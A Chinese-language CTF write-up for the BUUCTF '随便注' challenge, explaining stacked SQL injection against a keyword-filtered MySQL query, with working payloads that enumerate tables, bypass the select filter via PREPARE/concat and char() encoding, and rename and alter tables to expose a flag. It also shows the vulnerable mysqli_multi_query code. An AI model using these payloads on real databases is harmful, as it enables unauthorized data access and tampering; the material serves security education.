BUUCTF-随便注(SQL)
打开环境:
随便注指的是sql注入,使用sql语法测试:
构造pyload:1'
根据提示:near ''1''' = '1'' (外面的俩个单引号是near的提醒)
'1'' = '1' (去掉的一个单引号是我提交时输入的)
所以他的sql语句是单引号过滤;
构造pyload查看列数:
由此可见,当前操作的数据表列数是2列;
尝试使用联合查询:
发现select|update|delete|drop|insert|where|\./ 被过滤了,值得注意的是 . 点也被过滤了,至于为啥过滤点,最后提到。
下面尝试堆叠注入,在mysql中:一行是可以执行多条命令的,使用结束符 ; 分号 达到执行多条命令的效果。
好在 show 函数没有被过滤,最大程度利用一下:
构造pyload:
1';show databases;# 井号是注释符,表示单行后边的都注释掉的意思,经过测试,这题并没有过滤注释符;
1';show tables;# 上一条是查所有数据库名,这一条是查当前数据库的所有表名;
1';show columns from 表名 这条用于查字段,有个条件是需要知道表名,表名在第二条就已经找到,不惊慌;
使用第三条命令的时候有个注意点:
如:1';show columns from `words`;# 表名words 需要被 ` 这个符号包起来,这个符号是 esc下面一个的按键,这个符号在mysql里 用于 分割其他命令,表示此为(表名、字段名)
上一条并没有发现flag字段字样,看这个数字表的字段名吧:
1';show columns from `1919810931114514`;#
看到flag了,show函数的使命算是完成了!
那么如何查询到数据呢? select 函数被过滤了,其实mysql的函数有很多,这里通过 MYSQL的预处理语句,使用 concat('s','elect',' * from `1919810931114514`')完成绕过
构造pyload:
1';PREPARE test from concat('s','elect','* from `1919810931114514`');EXECUTE test;#
PREPARE name from 查询语句; 定义语句,使用 name 调用
EXECUTE name; 执行语句
当然这样使用预处理语句是占空间的,mysql处理器并不会释放它,可以使用下面命令自己释放;
DROP PREPARE name;
/**************************************************************************/
其他几种可以拿到flag的(不解释啦,直接上码):
- 1';PREPARE w from concat(char(115,101,108,101,99,116),' * from `1919810931114514`');EXECUTE w;# MySQL下char函数可以 把 ASCII值转换为字符,115,…116 = select
- /***************************/
- 1';set @sql=concat(char(115,101,108,101,99,116),' * from `1919810931114514`');PREPARE w from @sql;EXECUTE w;#
- /***************************/
- 1';set @sql=concat(‘s’,'elect',' * from `1919810931114514`');PREPARE w from @sql;EXECUTE w;#
- /***************************/
- 1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
/**#############**/
堆注成因:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
mysqli_multi_query 可以执行一个或多个查询语句